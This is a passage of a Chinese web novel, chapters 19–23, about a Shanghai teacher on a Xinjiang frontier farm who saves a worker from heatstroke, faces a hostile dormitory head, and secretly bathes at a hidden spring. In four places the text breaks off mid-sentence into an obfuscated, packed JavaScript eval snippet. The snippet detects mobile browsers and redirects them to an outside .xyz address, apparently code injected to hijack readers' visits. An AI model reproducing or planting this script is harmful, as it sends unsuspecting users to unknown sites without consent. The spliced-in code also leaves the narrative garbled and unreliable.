就在这时,李大壮的妻子张桂芬哭喊着冲了进来:“大壮!俺的大壮啊!”她一眼看到丈夫赤膊昏迷的样子,再看到站在床边狼狈不堪的舒染,想也不想就扑了过去,带着哭腔的怨怼直冲舒染:“是你?!是不是你这个城里来的狐狸精搞的鬼?!俺家大壮好好的!怎么跟你沾上边就成这样了?”她情绪激动,伸手就要去推搡舒染。 “张桂芬你干什么!”陈远疆拽过舒染挡在身后。 19. 第 19 章 王排长紧跟着冲进来,一把拉住张桂芬,急吼吼地解释,“你胡咧咧啥!是舒老师!是舒老师拼了命把大壮从鬼门关拉回来的!她为了给大壮降温,把自己头巾都撕了泼水用!没有舒老师,大壮这会儿就悬了!” 站在一旁地连长马占山脸色铁青,指着张桂芬说:“张桂芬!你男人李大壮是中了暑!要不是她发现得早,处理得当,你男人这会儿命都没了!你不知感激,还敢污蔑好人?!” 赵卫东也回过神,虽然心里还惦记着生产进度,但眼前这情况他必须表态,连忙呵斥:“就是!张桂芬!你昏头了!还不快给舒老师道歉!” 张桂芬懵了,她嘴唇哆嗦着,一个字也说不出来,最终“哇”地一声瘫坐在地上,捂着脸嚎啕大哭起来。 “都安静!”陈远疆一声低喝,压住了屋内的哭嚎。他目光扫过众人,最后落在许君君身上:“李大壮什么情况?” “重度中暑,”许君君语速飞快,手上擦拭的动作不停,“体温还高!现在只能物理降温,补充盐水!需要大量温盐水!冰……根本没有!” “坎儿井!去附近最近的井里打水,那里的水凉!”陈远疆立刻下令,王排长应声跑出去。 “马连长也赶紧指挥门口的人:“都别堵着!去叫食堂烧两锅水晾上!” 赵卫东则凑到陈远疆身边,压低声音,带着绩效狂特有的焦虑:“陈干事,你看这……大壮这情况,起码几天干不了活。三排的渠……” “命重要还是渠重要?”陈远疆冷冷地打断他。 赵卫东被噎得脸色一僵,讪讪地闭了嘴。 舒染靠着冰冷的土墙,身体控制不住地往下滑,许君君忙碌的身影在她模糊的视线里晃动。 许君君在给李大壮灌下又一口盐水后,抽空飞快地瞥了一眼墙角的舒染。 看到她几乎站不住的样子,许君君抿了抿唇,迅速从桌上扯过一张处方笺,潦草地写了几行字,然后走到马连长和陈远疆面前。 “连长,陈干事。舒染同志伤势不轻,手掌挫裂伤伴感染风险,腰背部肌肉严重挫伤,加上脱力。她这个样子,别说下午劳动,就是站着上课都困难。我建议,”她顿了顿,将那张纸条递向马连长,“给她开半天病休。必须休息,否则伤势恶化,更影响后续工作。” 马连长接过纸条,看了看,又看看舒染,眉头紧锁,显然在权衡。一个脱产教师的病休,似乎比一个壮劳力倒下影响小点? 赵卫东立刻想开口:“连长,那明天下午的工……” 陈远疆的目光也落在了那张纸条上,又移向舒染。 她闭着眼,眉头紧锁,那只裹着绷带的手无力地垂着,绷带边缘渗出的暗红色格外刺目。 “伤情属实。”陈远疆看向马连长,“许卫生员是专业人士。按她的意见办。” 马连长看了看陈远疆,又看了看纸条,最终在纸条上签下了自己的名字,递给许君君:“行,按许卫生员说的办。舒染同志,你明天下午不用去参加劳动了,至于明天的课,你自行安排。” 许君君接过签好字的纸条,松了口气。她快步走到舒染身边,把纸条塞进她没受伤的那只手里,低声道:“拿着,回去躺着。这里不用你管了,回去记得涂红药水,腰上的药也要涂。” 舒染费力地睁开眼,看到许君君担忧却克制的眼神,又越过她,看到陈远疆已经转过身的侧影。马连长在安抚张桂芬,赵卫东则背着手在门口焦躁地踱步。 舒染攥紧了那张纸条,行动缓慢地走出了卫生室。 舒染不知道自己是怎么走回连队的。汗水浸透的衣服黏在背上,冷一阵热一阵。她只想一头栽倒在床上。 刚走到女工宿舍地窝子入口的斜坡下,她掀开帘子,一个身影就挡在了面前。 是李大壮的妻子,张桂芬。 她显然刚从卫生室那边跑过来,眼圈通红,脸上还带着泪痕和焦急,手里紧紧攥着个什么东西。 看到舒染,她愣了一下,随即几步冲上来。 她几步冲到舒染跟前,“噗通”一声,直挺挺地就跪了下去。 “舒老师!对不起!俺替俺家大壮……给你磕头了!”她声音哽咽,带着浓重的哭腔,作势就要磕头。 李秀兰和王大姐都吓了一跳,赶紧伸手去拦:“嫂子!快起来!使不得!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361294|183694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>张桂芬被拉住,没磕下去。她紧紧抓住舒染的手,泣不成声:“舒老师……俺不是人!俺以前……以前还跟着人瞎起哄,说你是……是娇小姐……俺该死!俺真该死啊!” 她抬手狠狠扇了自己一个嘴巴,“要不是你……要不是你拼了命救他……俺家大壮……俺家就塌了啊!呜……” 她猛地将手里攥着的东西塞向舒染——那是一个鸡蛋。 在物资极度匮乏的畜牧连,鸡蛋是金贵得不能再金贵的东西,通常是留给重病号、老人或者娃娃补身体的。张桂芬家攒了几天,原本是打算留给生病的小儿子吃的。 “舒老师,您拿着!快拿着!俺……俺没啥好东西谢您,就这个……”张桂芬不由分说地把鸡蛋往舒染手里塞,力气大得很,带着一种近乎赎罪的急切。 舒染看着掌心那个圆润的鸡蛋,又看看张桂芬泪痕交错的脸,心头百感交集。 她轻轻推了回去:“嫂子,真不用。大壮哥没事就好。鸡蛋……留给娃娃补身体。” “那不行!您必须拿着!”张桂芬急了,又要塞过来,“您看看您这手……这身子骨……为了救俺家大壮,您……” “嫂子,”舒染按住她的手,语气带着温和,“心意我领了。真不用。快回去照顾大壮哥吧,他需要人。”她勉强挤出一个笑容。 张桂芬嘴唇哆嗦着,最终用力点了点头,眼泪又下来了。 她紧紧攥着那个鸡蛋,深深看了舒染一眼,然后转身快步朝卫生室跑去。 王大姐和李秀兰立刻围了上来。 王大姐一把扶住舒染,“快坐下快坐下!这脸白的!手!手咋样了?” 李秀兰赶紧端来一盆温水:“舒染姐,快洗把脸!” 舒染几乎是瘫坐在自己的铺位上,连摇头的力气都没了。 她任由王大姐和李秀兰帮她脱掉沾满盐霜泥灰的外衣和鞋子,露出里面同样湿透的衬衫。 她小心翼翼地摘下手套,露出边缘粘连的绷带。 “嘶……”王大姐看着那惨状,倒吸一口凉气,“这……这得赶紧处理!秀兰,快去把许卫生员给的那药酒拿来!再拿点干净布头!” 20. 第 20 章 李秀兰慌忙去翻舒染的东西,找出那个棕色小玻璃瓶和许君君给的一小卷干净绷带。 王大姐拧了热毛巾,帮舒染擦拭脸上和脖子上的泥汗。 舒染闭着眼,什么都不想去想。 “腰后面也撞着了?”王大姐擦拭时碰到舒染后腰,舒染忍不住“嘶”了一声。 “嗯,旧伤。”舒染有气无力。 “趴下趴下!我去借一瓶药酒给你揉揉!”王大姐说着就要往门外走。 舒染指了指她的樟木箱子:“里面有一瓶药酒。” 王大姐赶紧找了出来,她倒了些药酒在手心搓热,然后掀开舒染后腰的衣服。 “忍着点啊。”王大姐的手掌按在了伤处,开始揉搓。 灼热和痛感传来,舒染咬紧了牙关。但很快,药力让那痛稍稍平复了些。 “这药酒劲儿真足!”王大姐一边揉一边感叹,“舒染,你可真是……唉,三排那地方,大老爷们都脱层皮!不过,”她话锋一转,语气带着佩服,“你救李大壮那事儿,可都传开了!张桂芬刚才都堵门口了,看她那样子,是真心实意地感激你!以前那些说闲话的,这下都得闭嘴!” 李秀兰也用力点头:“就是!舒染姐,你真厉害!许卫生员那壶盐水,派上大用场了!” 舒染趴在褥子上,轻轻“嗯”了一声。 王大姐揉得自己额头也冒了汗,腰也有些发酸。 舒染侧过脸,轻声说:“大姐,你也歇会儿。药酒……你也抹点在腰上揉揉,许卫生员说活血化瘀很管用。”她指了指那个药酒瓶。 王大姐愣了一下,看着那瓶药酒,有些不好意思:“这……这是许卫生员给你的,俺……” “没事,用吧。今天多亏你和秀兰了。”舒染真诚地说。 王大姐心里一暖,也不再推辞,倒了一点药酒在手心,也给自己酸痛的后腰揉搓起来。 “哎哟,是舒服!这上海来的药酒就是不一样!”她感叹道。 地窝子里弥漫着浓烈的药酒气味。李秀兰小心地帮舒染清理干净手掌上磨破的血泡和裂口,重新涂上红药水,再用干净绷带包扎好。 周巧珍依旧裹着被子,面朝里墙,一动不动,仿佛睡得很沉。但仔细看,能发现她的被子边缘在微微起伏,显然并没有睡着。 刚才张桂芬在门口的哭腔、王大姐和李秀兰的对话、还有那弥漫开的药酒味,她都听得一清二楚。 她心里有说不出的憋闷。 舒染趴在褥子上。心想,如果能有个洗个热水澡就好了。 “大姐,”她侧过头,眼睛望向王大姐,“咱们这儿,能洗澡吗?” 王大姐正揉着自己酸痛的腰,闻言手上动作一顿,飞快地瞟了一眼周巧珍的背影,才压低声音,带着点为难:“这……水金贵着呢。咱们喝水、做饭、洗漱,都指着每天去水渠挑回来的那点。洗澡?那得费多少水啊……”她搓着药酒的手下意识在衣襟上蹭了蹭。 “戈壁滩上,水比油还金贵。夏天热得实在没法子,男人们就下河沟子里扑腾两下,女人们……”她目光扫过这狭小闷热的地窝子,“就在屋里,弄盆水,擦擦身子,凑合过去。” 舒染眉头微蹙,她初来乍到,确实没细想过这些。 李秀兰凑近些,几乎用气声说:“舒染姐,水都是宿舍长……”她朝周巧珍的方向努了努嘴,“……按人头分,每天定量。谁多用一点,别人就得少用。洗澡?从来没听说过谁在这儿洗过澡的。” 话音刚落,周巧珍猛地掀开被子坐了起来。 她没看舒染,径直下炕,趿拉着鞋走到地窝子角落那个半人高的储水缸旁,一把掀开木盖子,指着里面浅浅的一层水,声音又冷又硬:“洗澡?舒染同志,你当这是上海的洋房,水龙头一拧就哗哗流?” 她“哐当”一声盖上缸盖,从枕头底下摸出一个小本子和半截铅笔,“宿舍用水,向来是按人头分配,由宿舍长,也就是我统一安排。以前你们新来的没安顿好,水都是我安排人去挑。现在,”她用铅笔尖重重地点了点舒染的名字,“人齐了,规矩也得立起来。从明天起,轮流挑水。一人一周,负责把水窖灌满。” 她的铅笔尖在舒染名字下面用力划了一道:“舒染,你排第一。明天开始,挑一周。” 王大姐和李秀兰都愣住了,眼神在周巧珍和舒染之间游移。舒染腰伤未愈,手掌新伤,让她去挑一周水? “啥?”王大姐脱口而出,急急往前一步,搓着沾了药酒的手,“巧珍,这……这不合适吧?你看舒染这伤,腰都成那样了,路都走不利索,咋挑得动水?那水渠多远啊!要不……要不俺跟她换换?俺先挑?” 李秀兰也小声附和:“是啊,巧珍姐,舒染姐伤得重……” 周巧珍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361295|183694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼皮都没抬一下,把小本子“啪”地合上,铅笔随意往炕上一丢。 “随便你们。谁挑都行。反正,这一周的水,得由她负责。明天水窖要是见底,没水做饭没水喝,别找我。” 她说完,抓起炕头的外套,一掀门帘,走了出去。 门帘在她身后重重落下,来回晃荡。 王大姐看着那晃动的帘子,张了张嘴,最终只是重重叹了口气:“染妹子……你看这……唉!别往心里去。这水,大姐帮你挑!腰伤要紧,可不敢逞强。” 舒染侧过脸看着王大姐:“大姐,谢谢你。这情分,我记着。”她目光转向旁边的李秀兰,“秀兰,也谢谢你。” 李秀兰连忙摆手,“舒染姐,你别这么说,我……我也没帮上啥……” “大姐,”舒染的语气带着探寻:“你和秀兰……平时都在哪儿上工?活儿重吗?” 王大姐见舒染问起这个,神情放松了些,顺势在炕沿坐下,拿起针线笸箩里一件磨破袖口的工作服,一边穿针引线,一边絮叨开来:“俺在食堂后厨帮工,择菜、洗刷大锅,活儿嘛,是脏点累点,油星子大,好在不用风吹日晒,管饭也能吃饱。秀兰这丫头,”她朝李秀兰努努嘴,“在副业队做做豆腐,也算清净。” 王大姐缝了几针,像是想起什么,叹了口气:“俺能住这儿……说起来,也是组织照顾。老家闹饥荒,俺带着娃来投奔他爹,谁成想……人还没见着,就传来信儿,人……没了。” 她手上的动作停了片刻,眼神有些空茫,随即又用力地缝起来,针脚更密实了些,“后来……就给俺安排在这儿了,算是个落脚的地儿。巧珍她……她心里再咋不乐意,面上也不敢真把俺咋样。” 李秀兰也小声接话:“嗯,王大姐是烈属,有补贴的。我……我就是从村里招工上来的,啥也不懂,有活干、有地方住、能吃饱饭就挺好,别的也不计较。” 舒染点点头,默默记下,又问:“那……周巧珍呢?她好像对我格外关照。” 王大姐飞针走线的手再次顿住。 她抬眼飞快地瞄了下门口,确定帘子没动静,才凑近舒染一点,声音压得更低,“她啊……心眼是不大。原先宣传队要个能写会画的,她削尖了脑袋想去。后来……后来不是听说你会画画写字,还懂洋文么?领导好像挺看重这个……估摸着……是觉得你挡了她的道儿了?” 21. 第 21 章 王大姐摇摇头,继续缝补,线扯得嗤嗤响:“这人啊,心思重。舒染妹子,你刚来,又出了李大壮这事,风头太劲,她心里不痛快是肯定的。这挑水就是给你下马威呢。你且安心养着,水的事,有大姐。” 舒染趴在褥子上,脸颊贴着带着麦草清香的粗布床单。她侧过脸,目光在王大姐微微佝偻着缝补的背脊和李秀兰担忧的脸上停留片刻。 “大姐,”舒染手指轻轻点了点樟木箱的方向,“箱子里靠右边,有个小布包,你帮我拿一下好吗?” 王大姐放下针线,依言打开箱子翻找,很快摸出一个小巧的印花布包。打开一看,里面是两块印着素雅小花的香皂,散发着淡淡的皂荚清香,还有几小盒雪花膏。 舒染的目光掠过那两块香皂,落在雪花膏上:“大姐,秀兰,这两天真是麻烦你们了。我这手伤着,腰也动不利索,要不是你们搭把手,我这会儿还不知什么样呢。” 她顿了顿,声音更柔和了些,“这雪花膏,你们拿去抹抹手。戈壁滩上风吹日晒,手容易皴裂,这个……多少能护着点。” 李秀兰眼睛一亮,想伸手又有些不好意思:“舒染姐,这太金贵了……” “拿着,”舒染语气不容推拒,“就当是我谢谢你们帮我擦药、端水的情分。放我这儿也是落灰。” 她又看向王大姐,“大姐,你那双手天天在食堂水里泡着,更得护着点。还有一块香皂,你们也拿去用,洗洗涮涮的,比那碱面子强。” 王大姐看着手里那盒小巧精致的雪花膏和散发着清香的香皂,粗糙的手指无意识地摩挲着冰凉的瓷盒边缘。她眼眶有些发热,想说点什么推辞的话,可看着舒染真诚的眼神,最终点点头,把东西小心地收进自己枕头下的旧手绢里包好。 “染妹子……你有心了。”她声音有些发哽。 李秀兰也宝贝似的捧着属于她的那份,脸上是掩不住的欢喜。 门帘就在这时被掀开,周巧珍走了进来。她一眼就瞥见王大姐和李秀兰手里还没来得及完全藏好的东西,那熟悉的雪花膏盒子一角在她眼前闪过。 她脸色沉了下来,嘴唇紧抿,剐了一眼舒染趴着的背影,又狠狠瞪了王大姐和李秀兰一眼。 王大姐立刻低下头,假装专心缝补。李秀兰更是缩了缩脖子,赶紧把东西塞进怀里。 周巧珍走到自己的铺位前,故意把脱下的外套摔得啪啪响。 舒染仿佛毫无所觉,只是轻轻翻了个身,面朝墙壁,发出一声疲惫的喟叹,把被子往上拉了拉,彻底隔绝了周巧珍的视线。 夜色浓稠。地窝子里此起彼伏的呼吸声沉缓下来。 舒染却睁着眼,在黑暗中煎熬。腰后的钝痛和掌心伤口的刺痒还能忍受,真正折磨她的是浑身黏腻的感觉。汗味、尘土味、药酒味混合着,紧紧包裹着她。 白天在排碱渠摸爬滚打,晚上只简单擦了把脸,现在她难受得睡不着。 她悄悄坐起身。月光从门帘缝隙漏进来一线,勉强能看清王大姐和李秀兰熟睡的面容,周巧珍那边则裹得严严实实。 舒染掀开被子,忍着腰痛,摸索着穿好衣服。她动作极轻,从樟木箱底层摸出一个搪瓷盆、一块用油纸包着的肥皂,又抓了条半旧的毛巾,然后把这些东西放进洗脸盆,再套进洗脚盆里。 白天回连部时,陈远疆策马走过的那片长着红柳和骆驼刺的低洼地……记忆清晰起来。当时马蹄踏过,似乎溅起一点不同于盐碱灰白的深色水痕。她当时心念微动,但疲惫和伤痛压过了探究的欲望。 此刻,这个念头疯长。那片洼地周围植被明显比别处茂盛些,骆驼刺的叶片也显得更厚实油亮。 地质知识告诉她,戈壁滩上的植物群落往往是地下水文的指示器,尤其是耐旱的红柳、骆驼刺聚集的地方,浅层地下水可能相对丰富,甚至有小泉眼渗出也不奇怪。 不过规模肯定极小,否则早被人发现了。 她决定赌一把。 屏住呼吸,舒染悄悄溜出地窝子。 虽然是夏天,但是新疆的昼夜温差很大,戈壁滩上更甚。 夜风带着凉意,舒染裹紧外套,辨认着方向,朝着记忆中的那片洼地走去。 月光惨白,将沙砾和盐碱壳照得一片清冷。四周寂静无声,只有风吹过红柳丛发出的沙沙声。 舒染每一步都小心翼翼,竖起耳朵捕捉着任何一丝异响。心脏在狂跳, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361296|183694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既为可能发现的水源而激动,又为这深夜独行的危险和后怕而心惊胆战。 终于,那片熟悉的低洼地出现在眼前。她蹲下身,指尖探入白天马蹄溅起湿痕附近的沙土。 触感冰凉,带着明显的潮意!她心头狂跳,立刻放下盆,双手并用,飞快地刨开表层干燥的沙砾。 沙土越来越湿润,带着泥土特有的腥气。挖下去不到一尺深,指尖猛地触到一点冰凉,一个小小的、只有碗口大的水窝出现在眼前! 清澈的地下水正慢慢地从沙石缝隙里渗出,汇聚在小小的凹坑里,水面在月光下泛着粼光。 成了!舒染激动得差点叫出声,又赶紧捂住嘴。 她不敢耽搁,立刻将搪瓷盆小心地放在泉眼下方,让那涓涓细流慢慢滴入盆中。 水流细得可怜,好半天才积起浅浅一层。 等待的时间漫长而煎熬。夜风掠过灌木丛,每一个细微的声响都让她头皮发麻,猛地回头张望,生怕黑暗中突然冒出人影。 她背对着泉眼的方向,身体紧绷,耳朵却竖得老高,捕捉着四面八方的一切动静。月光将她的影子拉得很长,投在荒凉的盐碱地上,显得格外孤独。 水终于积了两盆。一盆水用来清洗,一盆水用来透干净肥皂沫。 舒染再也等不及,她飞快地解开衣扣。 凉风吹上皮肤,激起一层鸡皮疙瘩。她咬紧牙关,用毛巾蘸着那冰凉的泉水,打上肥皂,匆匆擦拭身体。 她不敢用力搓洗,生怕动静太大,只求洗去那层黏腻。眼睛警惕地扫视着四周的黑暗,心脏几乎要从嗓子眼里跳出来。 匆匆洗罢,套上衣服时手指都在哆嗦。那两盆水已变得浑浊。 她不敢留下任何痕迹,用脚将刨开的沙土小心地推回原位,尽量恢复原状,又拔了几丛旁边的骆驼刺胡乱盖在上面做掩饰。 做完这一切,她才端起盆,像来时一样,悄无声息地溜回了地窝子。 钻进被窝时,带着湿气的身体接触到被褥,让她舒服得几乎叹息出声。 虽然只是杯水车薪的擦洗,但身上的污浊感终于消散了大半。 紧绷的神经终于松弛下来,困意将她淹没。 22. 第 22 章 第二天是周日。 周巧珍板着脸,摔摔打打地洗漱完毕,抓起自己的饭盆,一掀门帘出去了,脚步声踩得又重又响。 门帘落下,王大姐和李秀兰对视一眼,都松了口气。 舒染坐起身,朝她们招招手,压低声音,眼睛里带着分享秘密的亮光:“大姐,秀兰,过来。” 两人立刻凑近。 “我昨晚……”舒染的声音压得更低,几乎只剩气声,“找到个地方……有水。” 她看着两人瞬间瞪大的眼睛,“就在西边那片红柳洼子里,很隐蔽,一点点渗出来的小泉眼,水流慢得很。” “真的?!”李秀兰捂住嘴,差点惊呼出声。 王大姐也激动地抓住舒染的胳膊:“老天爷!这可……这可真是……”她激动得不知说什么好。 “嘘——”舒染做了个噤声的手势,神情严肃,“这事,就咱们仨知道。千万不能漏出去。水流太小了,人一多,立马就干,谁也洗不成。而且,”她顿了顿,声音带着现实的考量,“让人知道了,指不定惹出什么麻烦来。” 王大姐立刻用力点头,拍着胸脯:“染妹子你放心!大姐嘴上有把门的!这事烂在肚子里!”她看了看舒染,“不过,大姐在食堂后头,趁着刷锅洗碗的热乎水汽,也能偷偷擦擦,就不去占那点水了。” 李秀兰也连忙保证:“舒染姐,我保证不说!我们做豆腐的地方水倒是管够,就是地方太敞,也不好洗。你要去的话,我帮你看着点,要是周巧珍回来,我就在门口咳嗽两声!” 一股暖流涌上舒染心头。这简陋地窝子里滋生的情谊,在这物资匮乏的戈壁滩上,显得格外珍贵。她用力点点头:“好!谢谢大姐,谢谢秀兰!” 下午,阳光正好。舒染腰后的伤经过一夜休息和药酒揉搓,总算松快了些,她正坐在矮凳上,就着门口的光线翻看那本《自然常识》,想着下周的教案。 一阵脚步声在门外响起。舒染抬头,看见张桂芬领着三四个妇女站在地窝子入口的斜坡上。 她们都穿着洗得发白的旧罩衫,头巾包得严严实实,脸上带着风霜和局促。 张桂芬怀里抱着个两三岁的娃娃,看见舒染,脸上立刻堆起感激又有些不好意思的笑容。 “舒老师……打扰您歇着了。”张桂芬往前挪了半步,声音不大,“俺们几个……都是连里的家属。听说您这儿教娃娃认字,教得可好了!俺们……俺们也想让家里的娃来跟着您学学,成不?” 她身后一个瘦高个的妇女赶紧接话,从身后拿出一个旧布袋,哗啦一下倒出十几块大小不一的石灰块,有些还带着棱角:“舒老师,这是俺家那口子从石灰窑那边捡的边角料,您看……能当粉笔使不?给娃娃们用!” 另一个妇女也小声说:“娃在家也是皮,不如送来跟您学点正经东西!” 舒染看着地上那堆灰白色的石灰块,又看看眼前几张充满期盼的脸,心中感慨万千。 她站起身,温和地笑着说:“当然可以!欢迎娃娃们来。启明小学的门,永远为想学习的孩子开着。” 正说着,石会计背着手踱了过来。他脸上带着惯常的严肃,但眼神比平时温和许多。 他走到舒染面前,没说话,直接从旧中山装的上衣口袋里掏出一个小纸包,放在舒染旁边的土坯上。 纸包摊开,里面是七八根用剩的铅笔头,短的只有指甲盖长,长的也不过寸许,都被削得尖尖的。 “石头在家念叨,说好些字光用石灰块画,记不牢靠。”石会计目光扫过地上的石灰块和那几个家属,“这点铅笔头,给娃娃们轮流使使,练练手。”说完,也不等舒染道谢,背着手又踱开了。 这边话音还没落,一个穿着工装的小伙子气喘吁吁地跑过来,手里捧着厚厚一叠边缘参差不齐,印着模糊字迹和表格的废纸。 “舒老师!赵主任让我送来的!”小伙子把纸往地上一放,抹了把汗,“说是库房清出来的废报表,背面还能写字!”他丢下话,像完成任务似的,转身就跑。 舒染看着地上那堆石灰块、铅笔头、废报表,又看看眼前殷切的家属们,再望望石会计走远的背影,还有那堆显然是赵卫东别别扭扭送来的纸张,唇角忍不住弯了起来。 * 夜幕降临,连队安静下来。许君君提着她的小药箱,掀开地窝子的门帘。 “感觉怎么样?”她一边问,一边习惯性地去查看舒染腰后的伤和手上的绷带。 “好多了,多亏你的药酒。”舒染拉住她,眼睛亮晶晶的,“君君,想不想……洗个澡?” 许君君一愣,随即苦笑:“做梦都想!可水……” “跟我来!”舒染神秘一笑,拿起盆和毛巾,又示意许君君带上她的盆。 两个纤细的身影,再次融入戈壁滩的夜色,朝着那片藏着秘密泉眼的红柳洼子走去。 月光清冷,四下里寂静无声。 许君君被舒染拉着,深一脚浅一脚地踩在盐碱壳上,她的心也悬着,攥着搪瓷盆的手有点抖。 “染染,你确定……真有水?还……洗澡?”她压着嗓子,声音在空旷里显得格外轻飘。这戈壁滩的夜,黑得能把人吞了。 “嘘——”舒染既兴奋又警惕,“就在前面那片红柳洼子,白天马蹄子踩过的地方记得吗?我觉着不对,昨晚摸黑来试了,真有!就是水流小得可怜,跟眼泪似的,得攒半天。” 终于摸到了那片低洼的红柳丛。舒染熟门熟路地拨开骆驼刺,露出下面那个浅坑。她示意许君君把盆放下,自己则用手扒开表层潮湿的沙土。 “你手上的伤还没好,我来。”许君君推开舒染扒拉起来。 泉眼再次露了出来,水汇聚在小小的凹坑里。 “老天爷……”许君君眼睛瞪得溜圆。她蹲下身,指尖触碰那冰凉的水“真……真的是水!活的泉水!” 舒染把她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361297|183694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盆也放到泉眼下方,紧挨着自己的。“快,赶紧接。这点水,攒起来不容易。”她自己则飞快地解着衣扣,“冷……真冷……”她声音发着抖,却抓起毛巾蘸了盆里刚接的那点水,打上肥皂。 许君君也回过神,手忙脚乱地开始解自己白大褂里面的衬衣扣子,一边解一边紧张地左右张望,“染染,你说……不会有人来吧?这深更半夜的……” “所以得快!”舒染手上的动作更快了,毛巾在脖颈、手臂、后背快速擦拭,泉水带走污垢,也带来寒意。她尽量蜷缩着身体,背对着可能有人来的方向,眼睛却警惕地扫视着四周的黑暗。 月光下,红柳丛的阴影摇曳不定,每一个晃动的影子都让她心头一跳。 许君君也学着舒染的样子,蘸着水,哆哆嗦嗦地擦洗。她动作更慌乱,冰水激得她嘶嘶抽气,却咬着牙不敢停。 “染染,我想家了……”她忽然低低地说,声音带着浓重的鼻音,“想家里的大浴缸,想哗哗的热水,想……想我妈给我搓背……”她的眼泪终于忍不住掉下来。 舒染擦拭的动作顿了一下。上海温暖的灯火、咖啡馆的香气、家中浴室蒸腾的水汽……那些画面闪过脑海,带来一阵酸楚。 她用力眨掉眼底的湿意,声音带着刻意的轻快,“想那些干啥?现在有这水,就是老天爷开恩!快洗!”她加快了动作。 两人不再说话。舒染的盆里水积了浅浅一层底,许君君的则更少。 “好了没?我……我快冻僵了!”许君君的声音带着哭腔,上下牙磕碰得厉害。 舒染也冷得受不了,“差不多了!快穿衣服!”她草草用还算干净的毛巾抹了抹身上的水珠,抓起内衣就往身上套。 “哒、哒、哒……” 一阵马蹄声,自远处传来! 舒染猛地抬头,心脏几乎要跳出喉咙!她一把按住许君君正要系扣子的手,示意她别出声。 两人紧紧贴在红柳丛最浓密的阴影里,连颤抖都强行抑制住,竖着耳朵捕捉那声音的来源。 马蹄声似乎来自连队的方向,不疾不徐,正朝着……她们这边过来?! 舒染心胆俱寒。被发现了?深更半夜在野地里鬼鬼祟祟?任何一个名头扣下来,都足以毁掉她好不容易在连队挣来的那点立足之地! 许君君更是吓得面无人色,死死抓住舒染的胳膊。 每一秒都像一个世纪那么难熬。马蹄声近了……又似乎远了……那声音终于拐了个弯,朝着远离洼地的方向,消失在夜风里。 舒染顺着红柳杆滑坐在地上,许君君也瘫坐下来,“走……染染,快走,我一分钟都不想待在这儿了……” 舒染强撑着站起来,飞快地检查了一下现场,把两个盆里浑浊的肥皂水泼到远处的沙地上,又用脚将泉眼附近的痕迹尽量抹平,重新盖上骆驼刺。 做完这一切,她才拉起许君君,抱着空盆,几乎是连滚爬爬地逃离了洼子。 23. 第 23 章 周一清晨,盐碱地在初升的日头下蒸腾起薄薄的雾气。舒染小心地伸展了一下腰背,钝痛已经消减了大半,只剩下些许酸胀。 她撩开地窝子的破毡子,洗漱了一番,去了食堂。 胖师傅看见她端着搪瓷盆过来,眼皮都没抬,大铁沉到了桶底,舀起满满一勺胡萝卜稀饭。“舒老师,趁热。”他瓮声瓮气地说了一句,算是打了招呼。 舒染点点头算是道了谢,又要了两个菜包子,找了个角落坐下。 她吃得很快,心里惦记着另一件事。 舒染到了工具棚里,石头、虎子、大毛几个来得早的男孩,正围着那几张简陋的长条矮凳打闹。 阿依曼则蹲在门口,用小木棍在地上认真地画着。阿迪力抱着胳膊靠在土坯墙上,眼神放空,不知在想什么。 “石头!”舒染叫住正跟虎子比划摔跤架势的班长。 “到!舒老师!”石头立刻站直。 “看着点大家,别跑远,老师去趟供销社,很快回来。” “是!” 舒染快步走向连队中心那排土坯房。供销社的门开着,那个戴着套袖的女售货员正打着哈欠整理货架。 “同志,请问有国旗吗?”舒染满怀希望地问。 女售货员撩起眼皮,像看怪物似的打量她:“国旗?开什么玩笑!那玩意儿是随便能有的?只有团部、营部才有!还得是重要日子才挂出来。咱们这小连队,要那干啥?” 她摇摇头,继续低头拨弄算盘珠子,“没有没有!肥皂、火柴、针头线脑倒是有。” 舒染并未气馁。没有新的,旧的也行!她立刻转身,朝着连队库房的方向快步走去。 